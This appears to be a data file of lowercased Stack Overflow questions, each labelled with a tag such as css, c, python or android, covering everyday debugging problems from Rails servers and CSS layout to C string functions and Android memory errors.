can t open http://localhost:3000 - why   i can t open <a href= http://localhost:3000  rel= nofollow >http://localhost:3000</a>.    if it s relevant  here is the <code>rail s</code> command:   <pre><code>jonass-mbp:first money$ rails s =&gt; booting webrick =&gt; rails 4.2.6 application starting in development on http://localhost:3000 =&gt; run `rails server -h` for more startup options =&gt; ctrl-c to shutdown server [2016-09-16 02:31:51] info  webrick 1.3.1 [2016-09-16 02:31:51] info  ruby 2.3.1 (2016-04-26) [x86_64-darwin15] [2016-09-16 02:31:51] info  webrick::httpserver#start: pid=8906 port=3000 </code></pre>,ruby-on-rails
how to return value using strstr function   the question is to input two strings: s1 and s2. the objective is to find whether there exist a substring  and i know <code>strstr</code> can be used. if there exists a substring  print the index at s1 at which there is a match  else print -1 . though i know if there is substring <code>strstr</code> returns the first index value  but i don t know how to use it.    my code is:   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; int main() {     char s1[20] s2[20];     char x;     gets(s1);     gets(s2);     x=strstr(s1 s2);     if(strstr(s1 s2)==null)     printf( -1 );     else     printf( %s  x);     return 0; } </code></pre>,c
making button clickable after fadein()  i have a function which when you hover over the div which has the class  comment  fades in a reply button.     the problem i am having is making the button clickable when it fades in.   <pre><code>$( .comment ).hover(         function() {             $(this).children( .commentoptions ).fadein();             $(this).children( #reply ).live( click  function(){                 alert( clicked );              });         }          function() {             $(this).children( .commentoptions ).fadeout();         });    &lt;div id= comment  class= comment &gt;       &lt;div class= commentoptions &gt;           &lt;div class= reply &gt;              &lt;div class= button  id= reply &gt;reply&lt;/div&gt;           &lt;/div&gt;       &lt;/div&gt; &lt;/div&gt; </code></pre>   any help on this would be much apprenticed  thank you. :),jquery
use strtok in a for loop  to loop over a string str i used:    <pre><code>for (tok = strtok(str   ; ); tok &amp;&amp; *tok; tok = strtok(null   ; ))   {      //do stuff   } </code></pre>   i would like to understand how this loop works. it seems to me:     <pre><code>(1) tok = strtok(str   ; ); //initialization of tok with the first token in str     (2) tok = strtok(null   ; ); // go to the next token in str  how does this work   (3) tok &amp;&amp; *tok;  //this stops the loop when tok =null or *tok=null  </code></pre>   i would appreciate your help!,c
why does overflow property impact element size and flow   i ve stumbled upon some behavior in css that is confusing to me. let s say there are two block elements  first of them floated to the right (<a href= http://jsfiddle.net/g7zsk/  rel= nofollow noreferrer >jsfiddle</a>): <img src= https://i.stack.imgur.com/bwtq6.png  alt= enter image description here >    if the overflow property is set to hidden on the non-floated element  that element is shrunk in order to accommodate for the floated element width <a href= http://jsfiddle.net/g7zsk/1/  rel= nofollow noreferrer >jsfiddle</a>: <img src= https://i.stack.imgur.com/clnuq.png  alt= enter image description here >    i actually don t have a problem with that  but i would like to know why that is happening. what i do have problem with is the following case in which after the overflow is set to hidden  <code>width</code> of the non-floated element is set to <code>100%</code>. i tested this in ie9  firefox 14  opera 12  chrome 20 and safari 5 on win7  and all of them except firefox show (<a href= http://jsfiddle.net/g7zsk/2/  rel= nofollow noreferrer >jsfiddle</a>): <img src= https://i.stack.imgur.com/cdjsx.png  alt= enter image description here >    what i wanted and expected  and what firefox shows  is the same as in the first picture above. so  can anyone shed some light on why all this is happening,css
java byte streams and character streams  from java docs:   <blockquote>    the console object also provides input and output streams that are   true character streams  through its reader and writer methods.  </blockquote>   why should i care if the underlying stream is a byte stream or a character one  i know that in byte stream it read one byte at a time and in character streams it reads a character at a time which can be of many bytes according to the specifics of the machine(  correct me if i m wrong).,java
python bankaccount program  create a class called bankaccount    create a constructor that takes in an integer and assigns this to a <code>balance</code> property.    create a method called <code>deposit</code> that takes in cash deposit amount and updates the balance accordingly.    create a method called <code>withdraw</code> that takes in cash withdrawal amount and updates the balance accordingly. if amount is greater than balance return <code> invalid transaction </code>    create a subclass minimumbalanceaccount of the bankaccount class   <hr>   hey friends i m learning python online and i wanted to try this homework but i m having some chalenges to compile it and this is my code:   <pre><code>import unittest class accountbalancetestcases(unittest.testcase):   def setup(self):     self.my_account = bankaccount(90)    def test_balance(self):     self.assertequal(self.my_account.balance  90  msg= account balance invalid )    def test_deposit(self):     self.my_account.deposit(90)     self.assertequal(self.my_account.balance  180  msg= deposit method inaccurate )    def test_withdraw(self):     self.my_account.withdraw(40)     self.assertequal(self.my_account.balance  50  msg= withdraw method inaccurate )    def test_invalid_operation(self):     self.assertequal(self.my_account.withdraw(1000)   invalid transaction   msg= invalid transaction )    def test_sub_class(self):     self.asserttrue(issubclass(minimumbalanceaccount  bankaccount)  msg= no true subclass of bankaccount ) </code></pre>   and this is the error i get from it:   <blockquote>    your code solution has errors         there is an error/bug in your code        results:  </blockquote>  <pre><code>traceback (most recent call last):   file  python/nose2/bin/nose2   line 8  in      discover()   file  /usr/local/lib/python2.7/dist-packages/nose2/main.py   line 300  in discover     return main(*args  **kwargs)   file  /usr/local/lib/python2.7/dist-packages/nose2/main.py   line 100  in __init__     super(pluggabletestprogram  self).__init__(**kw)   file  /usr/lib/python2.7/unittest/main.py   line 94  in __init__     self.parseargs(argv)   file  /usr/local/lib/python2.7/dist-packages/nose2/main.py   line 133  in parseargs     self.createtests()   file  /usr/local/lib/python2.7/dist-packages/nose2/main.py   line 258  in createtests     self.testnames  self.module)   file  /usr/local/lib/python2.7/dist-packages/nose2/loader.py   line 67  in loadtestsfromnames     for name in event.names]   file  /usr/local/lib/python2.7/dist-packages/nose2/loader.py   line 82  in loadtestsfromname     result = self.session.hooks.loadtestsfromname(event)   file  /usr/local/lib/python2.7/dist-packages/nose2/events.py   line 224  in __call__     result = getattr(plugin  self.method)(event)   file  /usr/local/lib/python2.7/dist-packages/nose2/plugins/loader/testclasses.py   line 119  in loadtestsfromname     result = util.test_from_name(name  module)   file  /usr/local/lib/python2.7/dist-packages/nose2/util.py   line 106  in test_from_name     parent  obj = object_from_name(name  module)   file  /usr/local/lib/python2.7/dist-packages/nose2/util.py   line 117  in object_from_name     module = __import__( . .join(parts_copy))   file  /home/ubuntu/applications/andelabs-server/tmp/5783854141a07c1400924f81-565b07b72568f41500779d20-test.py   line 4  in      from tmp.andelabs_5783854141a07c1400924f81_565b07b72568f41500779d20 import *   file  /home/ubuntu/applications/andelabs-server/tmp/andelabs_5783854141a07c1400924f81_565b07b72568f41500779d20.py   line 2     def __init__(self   balance = 90):       ^ indentationerror: expected an indented block </code></pre>   please me with some guidelines to correct it.,python
creating a toggle button for script call  i have the following glitch effect applied to a section of my page  however it can be quite distracting. i wish to create a toggle button to disable and re-enable the script.    <a href= http://eg-graphics.com/zwooper/egvgv/season3/memorywall.html  rel= nofollow noreferrer >http://eg-graphics.com/zwooper/egvgv/season3/memorywall.html</a>    so to call the function i have the following code:   <pre><code> $( function() {     $(  .glitch-img  ).mgglitch({         destroy : false  // set  true  to stop the plugin         glitch: true  // set  false  to stop glitching         scale: true  // set  false  to stop scaling         blend : true  // set  false  to stop glitch blending         blendmodetype :  hue   // select blend mode type         glitch1timemin : 600  // set min time for glitch 1 elem         glitch1timemax : 900  // set max time for glitch 1 elem         glitch2timemin : 10  // set min time for glitch 2 elem         glitch2timemax : 115  // set max time for glitch 2 elem     }); }); </code></pre>   to disable this plugin i need to set it so it s <code>destroy : true.</code>    where i struggle is that i am unable to recall the function with <code>destroy:true</code> and then again with <code>destroy : false</code>.    thank you in advance,javascript
when hover over links  div moves in ie7  when hovering over the menu links  the entire div moves upwards in ie 7. everything is fine in chrome  ie 8 9.     when you hover over the stores link. the div s logo   search  basket moves upwards.     here is the css i have..   <pre><code>.storefinderdropdown { position:absolute; top:8px; float:none; width:270px; height:43px; border:5px solid #f1f1ef; background:#f1f1ef; z-index:10; margin:20px 0 0 335px;  font-size:10px; font-weight:bold; text-indent:3px; padding:0; display:block; } .storefinderdropdown .slerrormsg { display:none; color:#f00; line-height:20px;} .storefinderdropdown .slbutton { position:relative;  display:inline; float:left; } .storefinderdropdown .slbutton input{ float:left; vertical-align:middle; } .storefinderdropdown .slbutton a{ float:left; margin:1px 0 0 3px; line-height:10px;  color: #fff !important; border: none; cursor:pointer; font-weight:bold; width:42px; height:14px;  background-image: linear-gradient(bottom  #335649 13%  #335649 57%  #335649 79%); background-image: -o-linear-gradient(bottom  #335649 13%  #335649 57%  #335649 79%); background-image: -moz-linear-gradient(bottom  #335649 13%  #335649 57%  #335649 79%); background-image: -webkit-linear-gradient(bottom  #335649 13%  #335649 57%  #335649 79%); background-image: -ms-linear-gradient(bottom  #335649 13%  #335649 57%  #335649 79%); background-image: -webkit-gradient( linear  left bottom  left top  color-stop(0.13  #335649)  color-stop(0.57  #335649)  color-stop(0.79  #335649)); background-color:#335649; border-radius:3px; padding: 5px; } </code></pre>,css
empty space between affix navbar and content below  i have affix navbar that goes between header and content divs. but there is an empty space for about 20px between navbar and the content div below. navbar is working  it sticks to top when scroll  but has that white gap when not scroling the page. another problem are colors of navbar  they wont change (fonts nor background).   <pre><code>&lt;div id= header  class= container-fluid text-center  &gt; &lt;h1&gt;title&lt;/h1&gt; &lt;div class= row &gt;   &lt;div class= col-sm-6 pull-right bottom &gt;     &lt;p&gt; text &lt;/p&gt;     &lt;p&gt;text&lt;/p&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;nav class= navbar navbar-inverse  data-spy= affix  data-offset-top= 659 &gt; &lt;div class= container-fluid &gt;   &lt;ul class= nav navbar-nav &gt;     &lt;li class= active &gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;something&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;something&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;something&lt;/a&gt;&lt;/li&gt;     &lt;li class= dropdown &gt;       &lt;a class= dropdown-toggle  data-toggle= dropdown  href= # &gt;more       &lt;span class= caret &gt;&lt;/span&gt;       &lt;/a&gt;       &lt;ul class= dropdown-menu &gt;         &lt;li&gt;&lt;a href= # &gt;merchandise&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;extras&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;media&lt;/a&gt;&lt;/li&gt;       &lt;/ul&gt;     &lt;/li&gt;   &lt;/ul&gt;  &lt;/div&gt; &lt;/nav&gt;  &lt;div class= wrap &gt;   &lt;div class= container text-center &gt;     &lt;h2&gt;about&lt;/h2&gt;       &lt;div class= row2 &gt;         &lt;div class= col-sm-12 &gt;           &lt;p&gt;some text&lt;/p&gt;         &lt;/div&gt; </code></pre>   css   <pre><code>.navbar {    border-radius: 0 !important;    -moz-border-radius: 0 !important;    position: fixed;    top: 0;    width: 100%;    margin-bottom: 0;/*not working*/    padding-bottom: 0;/*not working*/  }  .wrap {    background-color: #000;    margin-top: 0;/*not working*/    padding-top: 0;/*not working*/  } </code></pre>,css
core dump while allocating memory dynamically  i want to create a matrix class which has the following definition   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  using namespace std;  void display(vector&lt;int&gt;arr); int get(void); vector&lt;int&gt; radix_sort(vector&lt;int&gt;);  class input{ private:     int temp; public:     int get(){         cin &gt;&gt; temp;         return temp;     } };  class matrix { private:     int **matrix; public:     matrix(int r int c){         this-&gt;matrix = new int*[r];         for(int i = 0;i &lt; r; i++)             this-&gt;matrix[i] = new int[c];     }     int get(int r int c){         return this-&gt;matrix[r][c];     } }; int main() {     input inp;      int n;     cout&lt;&lt;  enter number of elements :  ;     cin &gt;&gt; n;      vector&lt;int&gt; arr;     cout &lt;&lt; enter  &lt;&lt;n&lt;&lt;  elements\n ;     for(int i = 0 ; i &lt; n ; i++)         arr.insert(arr.begin() + i inp.get());     cout &lt;&lt; before sort\n ;     display(arr);     radix_sort(arr);  } void display(vector&lt;int&gt; arr){     for(int i = 0 ;i &lt; arr.size(); i++)         cout &lt;&lt; arr.at(i) &lt;&lt;    ;     cout&lt;&lt;endl; }  vector&lt;int&gt; radix_sort(vector&lt;int&gt; arr){     matrix mat(arr.size() 10); // this call is creating the problem. } </code></pre>   this code should create a matrix like data structure which will be having <code>arr.size()</code> rows and <code>10</code> columns. but in runtime i am facing coredump with a lot of memory related information.    <pre><code>error in `/home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux  /radix_sort : free(): invalid pointer: 0x0000000000bb0468 ======= backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x77725)[0x7f5e411b6725] /lib/x86_64-linux-gnu/libc.so.6(+0x7ff4a)[0x7f5e411bef4a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f5e411c2abc] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x40239c] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x402094] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x401a16] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x401573] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x40126b] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x400f6d] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f5e4115f830] /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort[0x400d19] ======= memory map: ======== 00400000-00404000 r-xp 00000000 08:06 11011497                          /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort 00603000-00604000 r--p 00003000 08:06 11011497                               /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort 00604000-00605000 rw-p 00004000 08:06 11011497                           /home/parnab/netbeansprojects/radix sort/dist/debug/gnu-linux/radix_sort 00b9e000-00bd0000 rw-p 00000000 00:00 0                                  [heap] 7f5e3c000000-7f5e3c021000 rw-p 00000000 00:00 0  7f5e3c021000-7f5e40000000 ---p 00000000 00:00 0  7f5e40e36000-7f5e40f3e000 r-xp 00000000 08:06 528886                     /lib/x86_64-linux-gnu/libm-2.23.so 7f5e40f3e000-7f5e4113d000 ---p 00108000 08:06 528886                     /lib/x86_64-linux-gnu/libm-2.23.so 7f5e4113d000-7f5e4113e000 r--p 00107000 08:06 528886                     /lib/x86_64-linux-gnu/libm-2.23.so 7f5e4113e000-7f5e4113f000 rw-p 00108000 08:06 528886                     /lib/x86_64-linux-gnu/libm-2.23.so 7f5e4113f000-7f5e412ff000 r-xp 00000000 08:06 528816                     /lib/x86_64-linux-gnu/libc-2.23.so 7f5e412ff000-7f5e414fe000 ---p 001c0000 08:06 528816                     /lib/x86_64-linux-gnu/libc-2.23.so 7f5e414fe000-7f5e41502000 r--p 001bf000 08:06 528816                     /lib/x86_64-linux-gnu/libc-2.23.so 7f5e41502000-7f5e41504000 rw-p 001c3000 08:06 528816                     /lib/x86_64-linux-gnu/libc-2.23.so 7f5e41504000-7f5e41508000 rw-p 00000000 00:00 0  7f5e41508000-7f5e4151e000 r-xp 00000000 08:06 524378                      /lib/x86_64-linux-gnu/libgcc_s.so.1 7f5e4151e000-7f5e4171d000 ---p 00016000 08:06 524378                     /lib/x86_64-linux-gnu/libgcc_s.so.1 7f5e4171d000-7f5e4171e000 r--p 00015000 08:06 524378                     /lib/x86_64-linux-gnu/libgcc_s.so.1 7f5e4171e000-7f5e4171f000 rw-p 00016000 08:06 524378                     /lib/x86_64-linux-gnu/libgcc_s.so.1 7f5e4171f000-7f5e41891000 r-xp 00000000 08:06 3672061                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 7f5e41891000-7f5e41a91000 ---p 00172000 08:06 3672061                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 7f5e41a91000-7f5e41a9b000 r--p 00172000 08:06 3672061                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 7f5e41a9b000-7f5e41a9d000 rw-p 0017c000 08:06 3672061                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 7f5e41a9d000-7f5e41aa1000 rw-p 00000000 00:00 0  7f5e41aa1000-7f5e41ac7000 r-xp 00000000 08:06 528788                     /lib/x86_64-linux-gnu/ld-2.23.so 7f5e41c9e000-7f5e41ca3000 rw-p 00000000 00:00 0  7f5e41cc3000-7f5e41cc6000 rw-p 00000000 00:00 0  7f5e41cc6000-7f5e41cc7000 r--p 00025000 08:06 528788                     /lib/x86_64-linux-gnu/ld-2.23.so 7f5e41cc7000-7f5e41cc8000 rw-p 00026000 08:06 528788                     /lib/x86_64-linux-gnu/ld-2.23.so 7f5e41cc8000-7f5e41cc9000 rw-p 00000000 00:00 0  7ffe051b3000-7ffe051d4000 rw-p 00000000 00:00 0                          [stack] 7ffe051ec000-7ffe051ee000 r--p 00000000 00:00 0                          [vvar] 7ffe051ee000-7ffe051f0000 r-xp 00000000 00:00 0                          [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall] 0 run finished; aborted; core dumped; real time: 2s; user: 0ms; system: 0ms </code></pre>   what is wrong with my code  please help.,c++
duplicate none or other python sigletons  first of all: this question covers practically zero use cases  and is only about morbid curiosity. that being said:    i started wondering not so long ago if it was possible to duplicate the <code>none</code> object from python (or any other singleton like <code>true</code> or <code>ellipsis</code>). by  duplicate   i mean create an exact copy that is not another reference to the same object. that is:   <pre><code>&gt;&gt;&gt; nonebis == none true &gt;&gt;&gt; nonebis is none false </code></pre>   why i think this would be possible  is because of the core philosophy of python: <strong><em>everything is an object</em></strong>. and an object can be copied.    i have tried several ways (some more convoluted than others) and couldn t do it:   <pre><code>&gt;&gt;&gt; copy.deepcopy(none) is none true &gt;&gt;&gt; types.nonetype() typeerror: cannot create nonetype instances &gt;&gt;&gt; object.__new__(type(none)) typeerror: object.__new__(nonetype) is not safe  use nonetype.__new__() &gt;&gt;&gt; types.nonetype.__new__(types.nonetype) typeerror: object.__new__(nonetype) is not safe  use nonetype.__new__() </code></pre>   this seems pretty hardened and mad-scientist-proof to me  but i am not sure i have tried hard enough. (i have tested this in python 2.7  but since python 3+ have been designed to be even more foolproof than python 2  my guess is the results won t be better.)    <strong>can you actually create a separate duplicate of a python singleton </strong>,python
how to rank records using values from another model   i am new to rails.     have this problem. i have two models <strong>customers</strong> and <strong>orders</strong>. <strong>customer</strong> has_many <strong>orders</strong>  and <strong>orders</strong> belongs_to <strong>customer</strong>. each order has a money value: <strong>cost</strong>.     now how can i rank the customers by the total <strong>cost</strong> spent on all of his/her orders      thank you very much for any help!,ruby-on-rails
uilabel adjust its frame to text length  is it possible that my uilabel adjusts its frame size to the length of the text of the uilabel   if yes  how     thanks.,ios
php word replacing issue  actually this problem shouldn’t be that much hard but i searched for it in stackoverflow but couldn’t find anything that works as i want or i can understand. here’s what i’m asking for: image there is a text like:  “hi today the temperature is high” i’d like to replace string “hi” with “al” but i don’t want the word high to be replaced to as “algh”. i know i need to use preg_replace function but i couldn’t make it work.    ps: if you can show your solution with an array too  i will be more satisfied. like there’s an array of strings to be changed and there’s an array of strings to be changed as.    appreciate your help thanks :),php
javascript: cursor position in prompt box  the default behaviour of a prompt box selects the entire text when opened. can this behaviour be changed to a custom position of the mouse cursor within the box     <code>prompt( please choose your left window:   document.url);</code>    <img src= https://i.stack.imgur.com/bvhu1.png  alt= enter image description here >    for example i want the cursor to be pointed directly after the <code>//</code>.,javascript
using objects with function in javascript  hey guys am new to javascript development .i have learned about javascript objects and i have done some code with it ..my code   <pre><code>function afunction() {  var num = 10; return num; }  afunction.randomfunction(function() {  return {   name :  somename    age : 12 }  }) </code></pre>   when i called the function with  <code>afunction.randomfunction.name;</code> it gives me error like   <pre><code>  underfined is not a function  </code></pre>   i dont know why am getting like this .what i need is that i need to get the the value of name object by using <code>afunction.randomfunction.name;</code>    i know am doing something wrong ..hope you guys can help me .to find out my mistake.,javascript
open a new window in javascript with print dialog   i want to open a new tab in javascript with print window already opened.i have tried the following code but it is not working   <pre><code>function openinnewtab() {         var win = window.open( http://stackoverflow.com/questions/6808650/triggering-ctrl-s-or-ctrl-p-via-a-button    _blank );         console.log(win);         win.focus();         win.onload = function() {             win.print();         };     } </code></pre>   how can i achieve the same thing    edit 1:    i have tried like this also but does not working   <pre><code>function openinnewtab() {         var win = window.open( http://stackoverflow.com/questions/6808650/triggering-ctrl-s-or-ctrl-p-via-a-button    _blank );         win.document.attachevent( load   function() {             window.print();             alert( called )         })      }  </code></pre>,javascript
how to make number auto to step 1  2  3 in listview  not connection database  <strong>photo example:</strong>    <a href= https://i.stack.imgur.com/ae1bu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ae1bu.png  alt= enter image description here ></a>    <em>for form_load click</em>   <pre><code>private void form6_load(object sender  eventargs e)         {             for (int i = 0; i &lt; itm.length; i++)             {                 listview1.columns.add(itm[i]  size[i]  horizontalalignment.left);              }             listview1.gridlines = true;             listview1.view = view.details;             listview1.fullrowselect = true;         } </code></pre>   <em>code in button add_click</em>   <pre><code> private void btnadd_click(object sender  eventargs e)         {             listviewitem data = new listviewitem();             data.subitems.add(txtname.text);             data.subitems.add(txtsur.text);             data.subitems.add(txtage.text);             listview1.items.add(data);             clear();         } </code></pre>,c#
can i transfer data to premium version using objectinuptstream and objectoutputstream   i am trying to find a means to transfer data from an android lite app to a premium one. i am trying to use objectinputstream and objectoutputstream  but i run into trouble because i have to have different package names due to google play restrictions  and then my custom objects aren t recognized. is there any way around this  so that i can transfer my own objects directly  is there any other method you would recommend,android
centering an image in div  i want to put the image in the center of the div.    my div:   <pre><code>width: 95%; padding: 2.5%; max-width: 1200px; height:100%; </code></pre>   but i can not put image in the center and responsive.     i had 50% of img and putting 25% of padding. but i want to use picture and recommended not to use text-align and    display: block; margin: 0 auto;    not function   does anyone know what to do,css
out of memory while reading large xml file from server using post  i am using the below code to fetch xml file from the server and due to heavy and large xml file  it got crashed and showing out of memory issue.   <pre><code> public class connect {     static bufferedreader in=null;    string result=null;    context context;    //establish connection with web server       public string httpconnect(string uri1 list&lt;namevaluepair&gt; list context context)       {      this.context=context;     try {          defaulthttpclient httpclient = new defaulthttpclient();         httppost httppost = new httppost(uri1);          if(list!=null)         {         urlencodedformentity formentity = new urlencodedformentity(list);          httppost.setentity(formentity);         }          httpresponse httpresponse = httpclient.execute(httppost);        in = new bufferedreader(new inputstreamreader(httpresponse.getentity().getcontent()));         stringbuffer sb = new stringbuffer(  );         string line =   ;         string nl = system.getproperty( line.separator );          long heapsize = runtime.getruntime().totalmemory();          if(in!=null)         {             while ((line = in.readline()) != null) {//crasheg here               sb.append(line + nl);             }             in.close();         }          result = sb.tostring();   }     catch(unsupportedencodingexception e)     {         string err = (e.getmessage()==null)  cant connect to server :e.getmessage();          showdialog();     }     catch (malformedurlexception e) {         string err = (e.getmessage()==null)  malformed exception :e.getmessage();          showdialog();      }       catch(exception ex)      {           string err = (ex.getmessage()==null)  networkconnectionexception :ex.getmessage();           showdialog();      }     finally {         if (in != null) {             try {                     in.close();              } catch (exception ex) {                  string err = (ex.getmessage()==null)  excepion :ex.getmessage();                   ex.printstacktrace();              }         }       }      return result;     } </code></pre>   i know that that i am copying the whole xml in string and due to heavy file  it gor crashing. it is working fine in small size of xml file  but what are the alternative for large xml file. i am uing sax parser for parsing this xml file.    [edit] below is the logcat:   <pre><code> fatal exception: asynctask #4  java.lang.runtimeexception: an error occured while executing doinbackground()  at android.os.asynctask$3.done(asynctask.java:200)  at java.util.concurrent.futuretask$sync.innersetexception(futuretask.java:273)  at java.util.concurrent.futuretask.setexception(futuretask.java:124)  at java.util.concurrent.futuretask$sync.innerrun(futuretask.java:307)  at java.util.concurrent.futuretask.run(futuretask.java:137)  at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1068)  at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:561)  at java.lang.thread.run(thread.java:1096)  caused by: java.lang.outofmemoryerror  java.lang.abstractstringbuilder.enlargebuffer(abstractstringbuilder.java:97)  java.lang.abstractstringbuilder.append0(abstractstringbuilder.java:136)  java.lang.stringbuilder.append(stringbuilder.java:272)  java.io.bufferedreader.readline(bufferedreader.java:452)  com.kxs.appitize.connect.httpconnect(connect.java:56)  com.kxs.appitize.listrestaurants$asyn_rest.doinbackground(listrestaurants.java:168)  com.kxs.appitize.listrestaurants$asyn_rest.doinbackground(listrestaurants.java:1)  01-at android.os.asynctask$2.call(asynctask.java:185)  at java.util.concurrent.futuretask$sync.innerrun(futuretask.java:305)   activity com.kxs.appitize.tabsmainactivity has leaked window    com.android.internal.policy.impl.phonewindow$decorview@44f4fb28 that was originally added here  android.view.windowleaked: activity com.kxs.appitize.tabsmainactivity has leaked window com.android.internal.policy.impl.phonewindow$decorview@44f4fb28 that was originally added here  at android.view.viewroot.&lt;init&gt;(viewroot.java:247)  at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:148)  at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:91)  at android.view.window$localwindowmanager.addview(window.java:424)  at android.app.dialog.show(dialog.java:241)  at com.kxs.appitize.listrestaurants$asyn_rest.onpreexecute(listrestaurants.java:156)  at android.os.asynctask.execute(asynctask.java:391)  at com.kxs.appitize.listrestaurants.oncreate(listrestaurants.java:133)  at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047)  at android.app.activitythread.performlaunchactivity(activitythread.java:2627)  at android.app.activitythread.startactivitynow(activitythread.java:2503)  at android.app.localactivitymanager.movetostate(localactivitymanager.java:127)  at android.app.localactivitymanager.startactivity(localactivitymanager.java:339) at com.kxs.appitize.tabgroupactivity.startchildactivity(tabgroupactivity.java:72)   at com.kxs.appitize.listcategories$1.onclick(listcategories.java:109)  at android.view.view.performclick(view.java:2408)  at android.view.view$performclick.run(view.java:8816)  at android.os.handler.handlecallback(handler.java:587)   at android.os.handler.dispatchmessage(handler.java:92)  at android.os.looper.loop(looper.java:123)       at android.app.activitythread.main(activitythread.java:4627)  at java.lang.reflect.method.invokenative(native method)  java.lang.reflect.method.invoke(method.java:521)  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:868)  at com.android.internal.os.zygoteinit.main(zygoteinit.java:626)  at dalvik.system.nativestart.main(native method) </code></pre>,android
adding ad code to my blogspot blog  i would like to add adcode to my blogger page where it have to show near first heading and in the center. i have found a way that it actually works  but what s troubling me is if i show ad in the center i cant show it near post heading  and if i show it near post heading i cant show it on center of the post. here is the code i am using to show ads on center of the post  where i have to replace   &lt; data:post.body/>   with following....   <pre><code>&lt;div id= jobmiddlenew &gt;      &lt;data:post.body/&gt; &lt;/div&gt;       &lt;b:if cond= data:blog.pagetype == &amp;quot;item&amp;quot; &gt;         &lt;style&gt; #addcodemiddle{display: none;} &lt;/style&gt;  &lt;div id= addcodemiddle &gt;ad code here &lt;/div&gt;    &lt;script = text/javascript &gt; var       str1=document.getelementbyid(&amp;quot;jobmiddlenew&amp;quot;).innerhtml; var        str2=str1.length; var str3=str2/2; var substr = str1.substring(str3        str2);      var n = substr.search(&amp;quot;&amp;lt;br&amp;gt;&amp;quot;); if(n&amp;lt;0) { n =    substr.indexof( . ); if(n&amp;lt;0) { n=0; } var firsthalf = str1.substring(0      str3+n+1); var secondhalf = str1.substring(str3+n+1  str2); } else { var      firsthalf = str1.substring(0  str3+n+4); var secondhalf =       str1.substring(str3+n+4  str2); } var addcode=&amp;quot;  &lt;center&gt;&amp;quot;+document.getelementbyid(&amp;quot;addcodemiddle&amp;quot;)               .innerhtml+&amp;quot;&lt;/center&gt;&lt;br/&gt;&amp;quot;; var    newbody=firsthalf+addcode+secondhalf; var     strnew=document.getelementsbyclassname(&amp;quot;post-body entry-      content&amp;quot;); strnew[0].innerhtml=newbody;     document.getelementbyid(&amp;quot;addcodemiddle&amp;quot;).innerhtml=&amp;quot;&amp;quot;; &lt;/script&gt;  </code></pre>       and here is the adcode i use to display ads near post headline  which i have to do same as the first one.   <pre><code> &lt;b:if cond= data:blog.pagetype == &amp;quot;item&amp;quot; &gt;   &lt;div id= ad-content  style= display:block;text-align: center &gt;    /ad code here   &lt;/div&gt;&lt;/b:if&gt;   &lt;div id= ad-target &gt;&lt;data:post.body/&gt;&lt;/div&gt;     &lt;script = text/javascript &gt;       function insertafter(addition target) {        var parent = target.parentnode;    if (parent.lastchild == target) {    parent.appendchild(addition);   } else {  parent.insertbefore(addition target.nextsibling);  } }  var adscont = document.getelementbyid(&amp;quot;ad-content&amp;quot;);   var target = document.getelementbyid(&amp;quot;ad-target&amp;quot;);    var linebreak = target.getelementsbytagname(&amp;quot;h3&amp;quot;);   if (linebreak.length &amp;gt; 0){    insertafter(adscont linebreak[0]);  }   &lt;/script&gt; </code></pre>   so i would like to know how can i place ad code on both places [center of the post and near post heading ] at the same time and show ads.,html
why does no-wrap width calculation change when it is nested inside of an element with a display of table   with our design we end up needing multiple columns to display titles with ellipsis which i don t expect to be a big deal but when they are nested inside of a <code>display: table</code> the calculations seem to be incorrect.    the caveats are that we want a responsive layout so percentage widths are required (fixed widths would solve the problem).  and our layouts do require a <code>display: table</code> much further up the tree and i can t removing it without a major refactor.    if you remove the display everything works as i would expect:    <a href= http://cssdesk.com/gtskp >expected</a>    but having that display causes the parent to take into account the child elements total width pre-truncated (but with nowrap taken into account).  it is as if the initial rendering happens without an overflow being defined and adds it after the fact (but by that point the width calculation is way too large).    <a href= http://cssdesk.com/4gmjn >result</a>    i can guess at why the rendering is breaking but i would like a more definitive answer about how the browser renders this... (tested in chrome/ff/safari on mac),css
